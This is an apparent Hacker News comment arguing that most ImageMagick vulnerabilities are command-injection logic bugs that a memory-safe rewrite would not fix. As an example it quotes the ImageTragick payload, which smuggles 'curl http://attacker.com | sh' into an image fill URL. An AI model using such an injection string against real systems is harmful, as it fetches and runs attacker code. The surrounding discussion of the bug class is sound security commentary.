Comment

Comment by msm_

Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.

Famously, ImageTragick was just "fill 'url(https://example.com"; curl http://attacker.com | sh ")'"

parent msm_ 1 month ago

Discussion

Live from the official Hacker News API

A modern reader for Hacker News · SvelteKit + Skeleton